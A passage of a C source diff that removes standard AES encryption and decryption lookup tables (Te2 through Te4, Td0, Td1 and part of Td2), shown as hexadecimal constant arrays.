0xb8d36bb8UL, 0x143c2814UL, - 0xde79a7deUL, 0x5ee2bc5eUL, 0x0b1d160bUL, 0xdb76addbUL, - 0xe03bdbe0UL, 0x32566432UL, 0x3a4e743aUL, 0x0a1e140aUL, - 0x49db9249UL, 0x060a0c06UL, 0x246c4824UL, 0x5ce4b85cUL, - 0xc25d9fc2UL, 0xd36ebdd3UL, 0xacef43acUL, 0x62a6c462UL, - 0x91a83991UL, 0x95a43195UL, 0xe437d3e4UL, 0x798bf279UL, - 0xe732d5e7UL, 0xc8438bc8UL, 0x37596e37UL, 0x6db7da6dUL, - 0x8d8c018dUL, 0xd564b1d5UL, 0x4ed29c4eUL, 0xa9e049a9UL, - 0x6cb4d86cUL, 0x56faac56UL, 0xf407f3f4UL, 0xea25cfeaUL, - 0x65afca65UL, 0x7a8ef47aUL, 0xaee947aeUL, 0x08181008UL, - 0xbad56fbaUL, 0x7888f078UL, 0x256f4a25UL, 0x2e725c2eUL, - 0x1c24381cUL, 0xa6f157a6UL, 0xb4c773b4UL, 0xc65197c6UL, - 0xe823cbe8UL, 0xdd7ca1ddUL, 0x749ce874UL, 0x1f213e1fUL, - 0x4bdd964bUL, 0xbddc61bdUL, 0x8b860d8bUL, 0x8a850f8aUL, - 0x7090e070UL, 0x3e427c3eUL, 0xb5c471b5UL, 0x66aacc66UL, - 0x48d89048UL, 0x03050603UL, 0xf601f7f6UL, 0x0e121c0eUL, - 0x61a3c261UL, 0x355f6a35UL, 0x57f9ae57UL, 0xb9d069b9UL, - 0x86911786UL, 0xc15899c1UL, 0x1d273a1dUL, 0x9eb9279eUL, - 0xe138d9e1UL, 0xf813ebf8UL, 0x98b32b98UL, 0x11332211UL, - 0x69bbd269UL, 0xd970a9d9UL, 0x8e89078eUL, 0x94a73394UL, - 0x9bb62d9bUL, 0x1e223c1eUL, 0x87921587UL, 0xe920c9e9UL, - 0xce4987ceUL, 0x55ffaa55UL, 0x28785028UL, 0xdf7aa5dfUL, - 0x8c8f038cUL, 0xa1f859a1UL, 0x89800989UL, 0x0d171a0dUL, - 0xbfda65bfUL, 0xe631d7e6UL, 0x42c68442UL, 0x68b8d068UL, - 0x41c38241UL, 0x99b02999UL, 0x2d775a2dUL, 0x0f111e0fUL, - 0xb0cb7bb0UL, 0x54fca854UL, 0xbbd66dbbUL, 0x163a2c16UL, -}; -static const unsigned int Te3[256] = { - 0x6363a5c6UL, 0x7c7c84f8UL, 0x777799eeUL, 0x7b7b8df6UL, - 0xf2f20dffUL, 0x6b6bbdd6UL, 0x6f6fb1deUL, 0xc5c55491UL, - 0x30305060UL, 0x01010302UL, 0x6767a9ceUL, 0x2b2b7d56UL, - 0xfefe19e7UL, 0xd7d762b5UL, 0xababe64dUL, 0x76769aecUL, - 0xcaca458fUL, 0x82829d1fUL, 0xc9c94089UL, 0x7d7d87faUL, - 0xfafa15efUL, 0x5959ebb2UL, 0x4747c98eUL, 0xf0f00bfbUL, - 0xadadec41UL, 0xd4d467b3UL, 0xa2a2fd5fUL, 0xafafea45UL, - 0x9c9cbf23UL, 0xa4a4f753UL, 0x727296e4UL, 0xc0c05b9bUL, - 0xb7b7c275UL, 0xfdfd1ce1UL, 0x9393ae3dUL, 0x26266a4cUL, - 0x36365a6cUL, 0x3f3f417eUL, 0xf7f702f5UL, 0xcccc4f83UL, - 0x34345c68UL, 0xa5a5f451UL, 0xe5e534d1UL, 0xf1f108f9UL, - 0x717193e2UL, 0xd8d873abUL, 0x31315362UL, 0x15153f2aUL, - 0x04040c08UL, 0xc7c75295UL, 0x23236546UL, 0xc3c35e9dUL, - 0x18182830UL, 0x9696a137UL, 0x05050f0aUL, 0x9a9ab52fUL, - 0x0707090eUL, 0x12123624UL, 0x80809b1bUL, 0xe2e23ddfUL, - 0xebeb26cdUL, 0x2727694eUL, 0xb2b2cd7fUL, 0x75759feaUL, - 0x09091b12UL, 0x83839e1dUL, 0x2c2c7458UL, 0x1a1a2e34UL, - 0x1b1b2d36UL, 0x6e6eb2dcUL, 0x5a5aeeb4UL, 0xa0a0fb5bUL, - 0x5252f6a4UL, 0x3b3b4d76UL, 0xd6d661b7UL, 0xb3b3ce7dUL, - 0x29297b52UL, 0xe3e33eddUL, 0x2f2f715eUL, 0x84849713UL, - 0x5353f5a6UL, 0xd1d168b9UL, 0x00000000UL, 0xeded2cc1UL, - 0x20206040UL, 0xfcfc1fe3UL, 0xb1b1c879UL, 0x5b5bedb6UL, - 0x6a6abed4UL, 0xcbcb468dUL, 0xbebed967UL, 0x39394b72UL, - 0x4a4ade94UL, 0x4c4cd498UL, 0x5858e8b0UL, 0xcfcf4a85UL, - 0xd0d06bbbUL, 0xefef2ac5UL, 0xaaaae54fUL, 0xfbfb16edUL, - 0x4343c586UL, 0x4d4dd79aUL, 0x33335566UL, 0x85859411UL, - 0x4545cf8aUL, 0xf9f910e9UL, 0x02020604UL, 0x7f7f81feUL, - 0x5050f0a0UL, 0x3c3c4478UL, 0x9f9fba25UL, 0xa8a8e34bUL, - 0x5151f3a2UL, 0xa3a3fe5dUL, 0x4040c080UL, 0x8f8f8a05UL, - 0x9292ad3fUL, 0x9d9dbc21UL, 0x38384870UL, 0xf5f504f1UL, - 0xbcbcdf63UL, 0xb6b6c177UL, 0xdada75afUL, 0x21216342UL, - 0x10103020UL, 0xffff1ae5UL, 0xf3f30efdUL, 0xd2d26dbfUL, - 0xcdcd4c81UL, 0x0c0c1418UL, 0x13133526UL, 0xecec2fc3UL, - 0x5f5fe1beUL, 0x9797a235UL, 0x4444cc88UL, 0x1717392eUL, - 0xc4c45793UL, 0xa7a7f255UL, 0x7e7e82fcUL, 0x3d3d477aUL, - 0x6464acc8UL, 0x5d5de7baUL, 0x19192b32UL, 0x737395e6UL, - 0x6060a0c0UL, 0x81819819UL, 0x4f4fd19eUL, 0xdcdc7fa3UL, - 0x22226644UL, 0x2a2a7e54UL, 0x9090ab3bUL, 0x8888830bUL, - 0x4646ca8cUL, 0xeeee29c7UL, 0xb8b8d36bUL, 0x14143c28UL, - 0xdede79a7UL, 0x5e5ee2bcUL, 0x0b0b1d16UL, 0xdbdb76adUL, - 0xe0e03bdbUL, 0x32325664UL, 0x3a3a4e74UL, 0x0a0a1e14UL, - 0x4949db92UL, 0x06060a0cUL, 0x24246c48UL, 0x5c5ce4b8UL, - 0xc2c25d9fUL, 0xd3d36ebdUL, 0xacacef43UL, 0x6262a6c4UL, - 0x9191a839UL, 0x9595a431UL, 0xe4e437d3UL, 0x79798bf2UL, - 0xe7e732d5UL, 0xc8c8438bUL, 0x3737596eUL, 0x6d6db7daUL, - 0x8d8d8c01UL, 0xd5d564b1UL, 0x4e4ed29cUL, 0xa9a9e049UL, - 0x6c6cb4d8UL, 0x5656faacUL, 0xf4f407f3UL, 0xeaea25cfUL, - 0x6565afcaUL, 0x7a7a8ef4UL, 0xaeaee947UL, 0x08081810UL, - 0xbabad56fUL, 0x787888f0UL, 0x25256f4aUL, 0x2e2e725cUL, - 0x1c1c2438UL, 0xa6a6f157UL, 0xb4b4c773UL, 0xc6c65197UL, - 0xe8e823cbUL, 0xdddd7ca1UL, 0x74749ce8UL, 0x1f1f213eUL, - 0x4b4bdd96UL, 0xbdbddc61UL, 0x8b8b860dUL, 0x8a8a850fUL, - 0x707090e0UL, 0x3e3e427cUL, 0xb5b5c471UL, 0x6666aaccUL, - 0x4848d890UL, 0x03030506UL, 0xf6f601f7UL, 0x0e0e121cUL, - 0x6161a3c2UL, 0x35355f6aUL, 0x5757f9aeUL, 0xb9b9d069UL, - 0x86869117UL, 0xc1c15899UL, 0x1d1d273aUL, 0x9e9eb927UL, - 0xe1e138d9UL, 0xf8f813ebUL, 0x9898b32bUL, 0x11113322UL, - 0x6969bbd2UL, 0xd9d970a9UL, 0x8e8e8907UL, 0x9494a733UL, - 0x9b9bb62dUL, 0x1e1e223cUL, 0x87879215UL, 0xe9e920c9UL, - 0xcece4987UL, 0x5555ffaaUL, 0x28287850UL, 0xdfdf7aa5UL, - 0x8c8c8f03UL, 0xa1a1f859UL, 0x89898009UL, 0x0d0d171aUL, - 0xbfbfda65UL, 0xe6e631d7UL, 0x4242c684UL, 0x6868b8d0UL, - 0x4141c382UL, 0x9999b029UL, 0x2d2d775aUL, 0x0f0f111eUL, - 0xb0b0cb7bUL, 0x5454fca8UL, 0xbbbbd66dUL, 0x16163a2cUL, -}; -static const unsigned int Te4[256] = { - 0x63636363UL, 0x7c7c7c7cUL, 0x77777777UL, 0x7b7b7b7bUL, - 0xf2f2f2f2UL, 0x6b6b6b6bUL, 0x6f6f6f6fUL, 0xc5c5c5c5UL, - 0x30303030UL, 0x01010101UL, 0x67676767UL, 0x2b2b2b2bUL, - 0xfefefefeUL, 0xd7d7d7d7UL, 0xababababUL, 0x76767676UL, - 0xcacacacaUL, 0x82828282UL, 0xc9c9c9c9UL, 0x7d7d7d7dUL, - 0xfafafafaUL, 0x59595959UL, 0x47474747UL, 0xf0f0f0f0UL, - 0xadadadadUL, 0xd4d4d4d4UL, 0xa2a2a2a2UL, 0xafafafafUL, - 0x9c9c9c9cUL, 0xa4a4a4a4UL, 0x72727272UL, 0xc0c0c0c0UL, - 0xb7b7b7b7UL, 0xfdfdfdfdUL, 0x93939393UL, 0x26262626UL, - 0x36363636UL, 0x3f3f3f3fUL, 0xf7f7f7f7UL, 0xccccccccUL, - 0x34343434UL, 0xa5a5a5a5UL, 0xe5e5e5e5UL, 0xf1f1f1f1UL, - 0x71717171UL, 0xd8d8d8d8UL, 0x31313131UL, 0x15151515UL, - 0x04040404UL, 0xc7c7c7c7UL, 0x23232323UL, 0xc3c3c3c3UL, - 0x18181818UL, 0x96969696UL, 0x05050505UL, 0x9a9a9a9aUL, - 0x07070707UL, 0x12121212UL, 0x80808080UL, 0xe2e2e2e2UL, - 0xebebebebUL, 0x27272727UL, 0xb2b2b2b2UL, 0x75757575UL, - 0x09090909UL, 0x83838383UL, 0x2c2c2c2cUL, 0x1a1a1a1aUL, - 0x1b1b1b1bUL, 0x6e6e6e6eUL, 0x5a5a5a5aUL, 0xa0a0a0a0UL, - 0x52525252UL, 0x3b3b3b3bUL, 0xd6d6d6d6UL, 0xb3b3b3b3UL, - 0x29292929UL, 0xe3e3e3e3UL, 0x2f2f2f2fUL, 0x84848484UL, - 0x53535353UL, 0xd1d1d1d1UL, 0x00000000UL, 0xededededUL, - 0x20202020UL, 0xfcfcfcfcUL, 0xb1b1b1b1UL, 0x5b5b5b5bUL, - 0x6a6a6a6aUL, 0xcbcbcbcbUL, 0xbebebebeUL, 0x39393939UL, - 0x4a4a4a4aUL, 0x4c4c4c4cUL, 0x58585858UL, 0xcfcfcfcfUL, - 0xd0d0d0d0UL, 0xefefefefUL, 0xaaaaaaaaUL, 0xfbfbfbfbUL, - 0x43434343UL, 0x4d4d4d4dUL, 0x33333333UL, 0x85858585UL, - 0x45454545UL, 0xf9f9f9f9UL, 0x02020202UL, 0x7f7f7f7fUL, - 0x50505050UL, 0x3c3c3c3cUL, 0x9f9f9f9fUL, 0xa8a8a8a8UL, - 0x51515151UL, 0xa3a3a3a3UL, 0x40404040UL, 0x8f8f8f8fUL, - 0x92929292UL, 0x9d9d9d9dUL, 0x38383838UL, 0xf5f5f5f5UL, - 0xbcbcbcbcUL, 0xb6b6b6b6UL, 0xdadadadaUL, 0x21212121UL, - 0x10101010UL, 0xffffffffUL, 0xf3f3f3f3UL, 0xd2d2d2d2UL, - 0xcdcdcdcdUL, 0x0c0c0c0cUL, 0x13131313UL, 0xececececUL, - 0x5f5f5f5fUL, 0x97979797UL, 0x44444444UL, 0x17171717UL, - 0xc4c4c4c4UL, 0xa7a7a7a7UL, 0x7e7e7e7eUL, 0x3d3d3d3dUL, - 0x64646464UL, 0x5d5d5d5dUL, 0x19191919UL, 0x73737373UL, - 0x60606060UL, 0x81818181UL, 0x4f4f4f4fUL, 0xdcdcdcdcUL, - 0x22222222UL, 0x2a2a2a2aUL, 0x90909090UL, 0x88888888UL, - 0x46464646UL, 0xeeeeeeeeUL, 0xb8b8b8b8UL, 0x14141414UL, - 0xdedededeUL, 0x5e5e5e5eUL, 0x0b0b0b0bUL, 0xdbdbdbdbUL, - 0xe0e0e0e0UL, 0x32323232UL, 0x3a3a3a3aUL, 0x0a0a0a0aUL, - 0x49494949UL, 0x06060606UL, 0x24242424UL, 0x5c5c5c5cUL, - 0xc2c2c2c2UL, 0xd3d3d3d3UL, 0xacacacacUL, 0x62626262UL, - 0x91919191UL, 0x95959595UL, 0xe4e4e4e4UL, 0x79797979UL, - 0xe7e7e7e7UL, 0xc8c8c8c8UL, 0x37373737UL, 0x6d6d6d6dUL, - 0x8d8d8d8dUL, 0xd5d5d5d5UL, 0x4e4e4e4eUL, 0xa9a9a9a9UL, - 0x6c6c6c6cUL, 0x56565656UL, 0xf4f4f4f4UL, 0xeaeaeaeaUL, - 0x65656565UL, 0x7a7a7a7aUL, 0xaeaeaeaeUL, 0x08080808UL, - 0xbabababaUL, 0x78787878UL, 0x25252525UL, 0x2e2e2e2eUL, - 0x1c1c1c1cUL, 0xa6a6a6a6UL, 0xb4b4b4b4UL, 0xc6c6c6c6UL, - 0xe8e8e8e8UL, 0xddddddddUL, 0x74747474UL, 0x1f1f1f1fUL, - 0x4b4b4b4bUL, 0xbdbdbdbdUL, 0x8b8b8b8bUL, 0x8a8a8a8aUL, - 0x70707070UL, 0x3e3e3e3eUL, 0xb5b5b5b5UL, 0x66666666UL, - 0x48484848UL, 0x03030303UL, 0xf6f6f6f6UL, 0x0e0e0e0eUL, - 0x61616161UL, 0x35353535UL, 0x57575757UL, 0xb9b9b9b9UL, - 0x86868686UL, 0xc1c1c1c1UL, 0x1d1d1d1dUL, 0x9e9e9e9eUL, - 0xe1e1e1e1UL, 0xf8f8f8f8UL, 0x98989898UL, 0x11111111UL, - 0x69696969UL, 0xd9d9d9d9UL, 0x8e8e8e8eUL, 0x94949494UL, - 0x9b9b9b9bUL, 0x1e1e1e1eUL, 0x87878787UL, 0xe9e9e9e9UL, - 0xcecececeUL, 0x55555555UL, 0x28282828UL, 0xdfdfdfdfUL, - 0x8c8c8c8cUL, 0xa1a1a1a1UL, 0x89898989UL, 0x0d0d0d0dUL, - 0xbfbfbfbfUL, 0xe6e6e6e6UL, 0x42424242UL, 0x68686868UL, - 0x41414141UL, 0x99999999UL, 0x2d2d2d2dUL, 0x0f0f0f0fUL, - 0xb0b0b0b0UL, 0x54545454UL, 0xbbbbbbbbUL, 0x16161616UL, -}; -static const unsigned int Td0[256] = { - 0x51f4a750UL, 0x7e416553UL, 0x1a17a4c3UL, 0x3a275e96UL, - 0x3bab6bcbUL, 0x1f9d45f1UL, 0xacfa58abUL, 0x4be30393UL, - 0x2030fa55UL, 0xad766df6UL, 0x88cc7691UL, 0xf5024c25UL, - 0x4fe5d7fcUL, 0xc52acbd7UL, 0x26354480UL, 0xb562a38fUL, - 0xdeb15a49UL, 0x25ba1b67UL, 0x45ea0e98UL, 0x5dfec0e1UL, - 0xc32f7502UL, 0x814cf012UL, 0x8d4697a3UL, 0x6bd3f9c6UL, - 0x038f5fe7UL, 0x15929c95UL, 0xbf6d7aebUL, 0x955259daUL, - 0xd4be832dUL, 0x587421d3UL, 0x49e06929UL, 0x8ec9c844UL, - 0x75c2896aUL, 0xf48e7978UL, 0x99583e6bUL, 0x27b971ddUL, - 0xbee14fb6UL, 0xf088ad17UL, 0xc920ac66UL, 0x7dce3ab4UL, - 0x63df4a18UL, 0xe51a3182UL, 0x97513360UL, 0x62537f45UL, - 0xb16477e0UL, 0xbb6bae84UL, 0xfe81a01cUL, 0xf9082b94UL, - 0x70486858UL, 0x8f45fd19UL, 0x94de6c87UL, 0x527bf8b7UL, - 0xab73d323UL, 0x724b02e2UL, 0xe31f8f57UL, 0x6655ab2aUL, - 0xb2eb2807UL, 0x2fb5c203UL, 0x86c57b9aUL, 0xd33708a5UL, - 0x302887f2UL, 0x23bfa5b2UL, 0x02036abaUL, 0xed16825cUL, - 0x8acf1c2bUL, 0xa779b492UL, 0xf307f2f0UL, 0x4e69e2a1UL, - 0x65daf4cdUL, 0x0605bed5UL, 0xd134621fUL, 0xc4a6fe8aUL, - 0x342e539dUL, 0xa2f355a0UL, 0x058ae132UL, 0xa4f6eb75UL, - 0x0b83ec39UL, 0x4060efaaUL, 0x5e719f06UL, 0xbd6e1051UL, - 0x3e218af9UL, 0x96dd063dUL, 0xdd3e05aeUL, 0x4de6bd46UL, - 0x91548db5UL, 0x71c45d05UL, 0x0406d46fUL, 0x605015ffUL, - 0x1998fb24UL, 0xd6bde997UL, 0x894043ccUL, 0x67d99e77UL, - 0xb0e842bdUL, 0x07898b88UL, 0xe7195b38UL, 0x79c8eedbUL, - 0xa17c0a47UL, 0x7c420fe9UL, 0xf8841ec9UL, 0x00000000UL, - 0x09808683UL, 0x322bed48UL, 0x1e1170acUL, 0x6c5a724eUL, - 0xfd0efffbUL, 0x0f853856UL, 0x3daed51eUL, 0x362d3927UL, - 0x0a0fd964UL, 0x685ca621UL, 0x9b5b54d1UL, 0x24362e3aUL, - 0x0c0a67b1UL, 0x9357e70fUL, 0xb4ee96d2UL, 0x1b9b919eUL, - 0x80c0c54fUL, 0x61dc20a2UL, 0x5a774b69UL, 0x1c121a16UL, - 0xe293ba0aUL, 0xc0a02ae5UL, 0x3c22e043UL, 0x121b171dUL, - 0x0e090d0bUL, 0xf28bc7adUL, 0x2db6a8b9UL, 0x141ea9c8UL, - 0x57f11985UL, 0xaf75074cUL, 0xee99ddbbUL, 0xa37f60fdUL, - 0xf701269fUL, 0x5c72f5bcUL, 0x44663bc5UL, 0x5bfb7e34UL, - 0x8b432976UL, 0xcb23c6dcUL, 0xb6edfc68UL, 0xb8e4f163UL, - 0xd731dccaUL, 0x42638510UL, 0x13972240UL, 0x84c61120UL, - 0x854a247dUL, 0xd2bb3df8UL, 0xaef93211UL, 0xc729a16dUL, - 0x1d9e2f4bUL, 0xdcb230f3UL, 0x0d8652ecUL, 0x77c1e3d0UL, - 0x2bb3166cUL, 0xa970b999UL, 0x119448faUL, 0x47e96422UL, - 0xa8fc8cc4UL, 0xa0f03f1aUL, 0x567d2cd8UL, 0x223390efUL, - 0x87494ec7UL, 0xd938d1c1UL, 0x8ccaa2feUL, 0x98d40b36UL, - 0xa6f581cfUL, 0xa57ade28UL, 0xdab78e26UL, 0x3fadbfa4UL, - 0x2c3a9de4UL, 0x5078920dUL, 0x6a5fcc9bUL, 0x547e4662UL, - 0xf68d13c2UL, 0x90d8b8e8UL, 0x2e39f75eUL, 0x82c3aff5UL, - 0x9f5d80beUL, 0x69d0937cUL, 0x6fd52da9UL, 0xcf2512b3UL, - 0xc8ac993bUL, 0x10187da7UL, 0xe89c636eUL, 0xdb3bbb7bUL, - 0xcd267809UL, 0x6e5918f4UL, 0xec9ab701UL, 0x834f9aa8UL, - 0xe6956e65UL, 0xaaffe67eUL, 0x21bccf08UL, 0xef15e8e6UL, - 0xbae79bd9UL, 0x4a6f36ceUL, 0xea9f09d4UL, 0x29b07cd6UL, - 0x31a4b2afUL, 0x2a3f2331UL, 0xc6a59430UL, 0x35a266c0UL, - 0x744ebc37UL, 0xfc82caa6UL, 0xe090d0b0UL, 0x33a7d815UL, - 0xf104984aUL, 0x41ecdaf7UL, 0x7fcd500eUL, 0x1791f62fUL, - 0x764dd68dUL, 0x43efb04dUL, 0xccaa4d54UL, 0xe49604dfUL, - 0x9ed1b5e3UL, 0x4c6a881bUL, 0xc12c1fb8UL, 0x4665517fUL, - 0x9d5eea04UL, 0x018c355dUL, 0xfa877473UL, 0xfb0b412eUL, - 0xb3671d5aUL, 0x92dbd252UL, 0xe9105633UL, 0x6dd64713UL, - 0x9ad7618cUL, 0x37a10c7aUL, 0x59f8148eUL, 0xeb133c89UL, - 0xcea927eeUL, 0xb761c935UL, 0xe11ce5edUL, 0x7a47b13cUL, - 0x9cd2df59UL, 0x55f2733fUL, 0x1814ce79UL, 0x73c737bfUL, - 0x53f7cdeaUL, 0x5ffdaa5bUL, 0xdf3d6f14UL, 0x7844db86UL, - 0xcaaff381UL, 0xb968c43eUL, 0x3824342cUL, 0xc2a3405fUL, - 0x161dc372UL, 0xbce2250cUL, 0x283c498bUL, 0xff0d9541UL, - 0x39a80171UL, 0x080cb3deUL, 0xd8b4e49cUL, 0x6456c190UL, - 0x7bcb8461UL, 0xd532b670UL, 0x486c5c74UL, 0xd0b85742UL, -}; -static const unsigned int Td1[256] = { - 0x5051f4a7UL, 0x537e4165UL, 0xc31a17a4UL, 0x963a275eUL, - 0xcb3bab6bUL, 0xf11f9d45UL, 0xabacfa58UL, 0x934be303UL, - 0x552030faUL, 0xf6ad766dUL, 0x9188cc76UL, 0x25f5024cUL, - 0xfc4fe5d7UL, 0xd7c52acbUL, 0x80263544UL, 0x8fb562a3UL, - 0x49deb15aUL, 0x6725ba1bUL, 0x9845ea0eUL, 0xe15dfec0UL, - 0x02c32f75UL, 0x12814cf0UL, 0xa38d4697UL, 0xc66bd3f9UL, - 0xe7038f5fUL, 0x9515929cUL, 0xebbf6d7aUL, 0xda955259UL, - 0x2dd4be83UL, 0xd3587421UL, 0x2949e069UL, 0x448ec9c8UL, - 0x6a75c289UL, 0x78f48e79UL, 0x6b99583eUL, 0xdd27b971UL, - 0xb6bee14fUL, 0x17f088adUL, 0x66c920acUL, 0xb47dce3aUL, - 0x1863df4aUL, 0x82e51a31UL, 0x60975133UL, 0x4562537fUL, - 0xe0b16477UL, 0x84bb6baeUL, 0x1cfe81a0UL, 0x94f9082bUL, - 0x58704868UL, 0x198f45fdUL, 0x8794de6cUL, 0xb7527bf8UL, - 0x23ab73d3UL, 0xe2724b02UL, 0x57e31f8fUL, 0x2a6655abUL, - 0x07b2eb28UL, 0x032fb5c2UL, 0x9a86c57bUL, 0xa5d33708UL, - 0xf2302887UL, 0xb223bfa5UL, 0xba02036aUL, 0x5ced1682UL, - 0x2b8acf1cUL, 0x92a779b4UL, 0xf0f307f2UL, 0xa14e69e2UL, - 0xcd65daf4UL, 0xd50605beUL, 0x1fd13462UL, 0x8ac4a6feUL, - 0x9d342e53UL, 0xa0a2f355UL, 0x32058ae1UL, 0x75a4f6ebUL, - 0x390b83ecUL, 0xaa4060efUL, 0x065e719fUL, 0x51bd6e10UL, - 0xf93e218aUL, 0x3d96dd06UL, 0xaedd3e05UL, 0x464de6bdUL, - 0xb591548dUL, 0x0571c45dUL, 0x6f0406d4UL, 0xff605015UL, - 0x241998fbUL, 0x97d6bde9UL, 0xcc894043UL, 0x7767d99eUL, - 0xbdb0e842UL, 0x8807898bUL, 0x38e7195bUL, 0xdb79c8eeUL, - 0x47a17c0aUL, 0xe97c420fUL, 0xc9f8841eUL, 0x00000000UL, - 0x83098086UL, 0x48322bedUL, 0xac1e1170UL, 0x4e6c5a72UL, - 0xfbfd0effUL, 0x560f8538UL, 0x1e3daed5UL, 0x27362d39UL, - 0x640a0fd9UL, 0x21685ca6UL, 0xd19b5b54UL, 0x3a24362eUL, - 0xb10c0a67UL, 0x0f9357e7UL, 0xd2b4ee96UL, 0x9e1b9b91UL, - 0x4f80c0c5UL, 0xa261dc20UL, 0x695a774bUL, 0x161c121aUL, - 0x0ae293baUL, 0xe5c0a02aUL, 0x433c22e0UL, 0x1d121b17UL, - 0x0b0e090dUL, 0xadf28bc7UL, 0xb92db6a8UL, 0xc8141ea9UL, - 0x8557f119UL, 0x4caf7507UL, 0xbbee99ddUL, 0xfda37f60UL, - 0x9ff70126UL, 0xbc5c72f5UL, 0xc544663bUL, 0x345bfb7eUL, - 0x768b4329UL, 0xdccb23c6UL, 0x68b6edfcUL, 0x63b8e4f1UL, - 0xcad731dcUL, 0x10426385UL, 0x40139722UL, 0x2084c611UL, - 0x7d854a24UL, 0xf8d2bb3dUL, 0x11aef932UL, 0x6dc729a1UL, - 0x4b1d9e2fUL, 0xf3dcb230UL, 0xec0d8652UL, 0xd077c1e3UL, - 0x6c2bb316UL, 0x99a970b9UL, 0xfa119448UL, 0x2247e964UL, - 0xc4a8fc8cUL, 0x1aa0f03fUL, 0xd8567d2cUL, 0xef223390UL, - 0xc787494eUL, 0xc1d938d1UL, 0xfe8ccaa2UL, 0x3698d40bUL, - 0xcfa6f581UL, 0x28a57adeUL, 0x26dab78eUL, 0xa43fadbfUL, - 0xe42c3a9dUL, 0x0d507892UL, 0x9b6a5fccUL, 0x62547e46UL, - 0xc2f68d13UL, 0xe890d8b8UL, 0x5e2e39f7UL, 0xf582c3afUL, - 0xbe9f5d80UL, 0x7c69d093UL, 0xa96fd52dUL, 0xb3cf2512UL, - 0x3bc8ac99UL, 0xa710187dUL, 0x6ee89c63UL, 0x7bdb3bbbUL, - 0x09cd2678UL, 0xf46e5918UL, 0x01ec9ab7UL, 0xa8834f9aUL, - 0x65e6956eUL, 0x7eaaffe6UL, 0x0821bccfUL, 0xe6ef15e8UL, - 0xd9bae79bUL, 0xce4a6f36UL, 0xd4ea9f09UL, 0xd629b07cUL, - 0xaf31a4b2UL, 0x312a3f23UL, 0x30c6a594UL, 0xc035a266UL, - 0x37744ebcUL, 0xa6fc82caUL, 0xb0e090d0UL, 0x1533a7d8UL, - 0x4af10498UL, 0xf741ecdaUL, 0x0e7fcd50UL, 0x2f1791f6UL, - 0x8d764dd6UL, 0x4d43efb0UL, 0x54ccaa4dUL, 0xdfe49604UL, - 0xe39ed1b5UL, 0x1b4c6a88UL, 0xb8c12c1fUL, 0x7f466551UL, - 0x049d5eeaUL, 0x5d018c35UL, 0x73fa8774UL, 0x2efb0b41UL, - 0x5ab3671dUL, 0x5292dbd2UL, 0x33e91056UL, 0x136dd647UL, - 0x8c9ad761UL, 0x7a37a10cUL, 0x8e59f814UL, 0x89eb133cUL, - 0xeecea927UL, 0x35b761c9UL, 0xede11ce5UL, 0x3c7a47b1UL, - 0x599cd2dfUL, 0x3f55f273UL, 0x791814ceUL, 0xbf73c737UL, - 0xea53f7cdUL, 0x5b5ffdaaUL, 0x14df3d6fUL, 0x867844dbUL, - 0x81caaff3UL, 0x3eb968c4UL, 0x2c382434UL, 0x5fc2a340UL, - 0x72161dc3UL, 0x0cbce225UL, 0x8b283c49UL, 0x41ff0d95UL, - 0x7139a801UL, 0xde080cb3UL, 0x9cd8b4e4UL, 0x906456c1UL, - 0x617bcb84UL, 0x70d532b6UL, 0x74486c5cUL, 0x42d0b857UL, -}; -static const unsigned int Td2[256] = { - 0xa75051f4UL, 0x65537e41UL, 0xa4c31a17UL, 0x5e963a27UL, - 0x6bcb3babUL, 0x45f11f9dUL, 0x58abacfaUL, 0x03934be3UL, - 0xfa552030UL, 0x6df6ad76UL, 0x769188ccUL, 0x4c25f502UL, - 0xd7fc4fe5UL, 0xcbd7c52aUL, 0x44802635UL, 0xa38fb562UL, - 0x5a49deb1UL, 0x1b6725baUL, 0x0e9845eaUL, 0xc0e15dfeUL, - 0x7502c32fUL, 0xf012814cUL, 0x97a38d46UL, 0xf9c66bd3UL, - 0x5fe7038fUL, 0x9c951592UL, 0x7aebbf6dUL, 0x59da9552UL, - 0x832dd4beUL, 0x21d35874UL, 0x692949e0UL, 0xc8448ec9UL, - 0x896a75c2UL, 0x7978f48eUL, 0x3e6b9958UL, 0x71dd27b9UL, - 0x4fb6bee1UL, 0xad17f088UL, 0xac66c920UL, 0x3ab47dceUL, - 0x4a1863dfUL, 0x3182e51aUL, 0x33609751UL, 0x7f456253UL, - 0x77e0b164UL, 0xae84bb6bUL, 0xa01cfe81UL, 0x2b94f908UL, - 0x68587048UL, 0xfd198f45UL, 0x6c8794deUL, 0xf8b7527bUL, - 0xd323ab73UL, 0x02e2724bUL, 0x8f57e31fUL, 0xab2a6655UL, - 0x2807b2ebUL, 0xc2032fb5UL, 0x7b9a86c5UL, 0x08a5d337UL, - 0x87f23028UL, 0xa5b223bfUL, 0x6aba0203UL, 0x825ced16UL, - 0x1c2b8acfUL, 0xb492a779UL, 0xf2f0f307UL, 0xe2a14e69UL, - 0xf4cd65daUL, 0xbed50605UL, 0x621fd134UL, 0xfe8ac4a6UL, - 0x539d342eUL, 0x55a0a2f3UL, 0xe132058aUL, 0xeb75a4f6UL, - 0xec390b83UL, 0xefaa4060UL, 0x9f065e71UL, 0x1051bd6eUL, - 0x8af93e21UL, 0x063d96ddUL, 0x05aedd3eUL, 0xbd464de6UL, - 0x8db59154UL, 0x5d0571c4UL, 0xd46f0406UL, 0x15ff6050UL, - 0xfb241998UL, 0xe997d6bdUL, 0x43cc8940UL, 0x9e7767d9UL, - 0x42bdb0e8UL, 0x8b880789UL, 0x5b38e719UL, 0xeedb79c8UL, - 0x0a47a17cUL, 0x0fe97c42UL, 0x1ec9f884UL, 0x00000000UL, - 0x86830980UL, 0xed48322bUL, 0x70ac1e11UL, 0x724e6c5aUL, - 0xfffbfd0eUL, 0x38560f85UL, 0xd51e3daeUL, 0x3927362dUL, - 0xd9640a0fUL, 0xa621685cUL, 0x54d19b5bUL, 0x2e3a2436UL, - 0x67b10c0aUL, 0xe70f9357UL, 0x96d2b4eeUL, 0x919e1b9bUL, - 0xc54f80c0UL, 0x20a261dcUL, 0x4b695a77UL, 0x1a161c12UL, - 0xba0ae293UL, 0x2ae5c0a0UL, 0xe0433c22UL, 0x171d121bUL, - 0x0d0b0e09UL, 0xc7adf28bUL, 0xa8b92db6UL, 0xa9c8141eUL, - 0x198557f1UL, 0x074caf75UL, 0xddbbee99UL, 0x60fda37fUL, - 0x269ff701UL, 0xf5bc5c72UL, 0x3bc54466UL, 0x7e345bfbUL, - 0x29768b43UL, 0xc6dccb23UL, 0xfc68b6edUL, 0xf163b8e4UL, - 0xdccad731UL, 0x85104263UL, 0x22401397UL, 0x112084c6UL, - 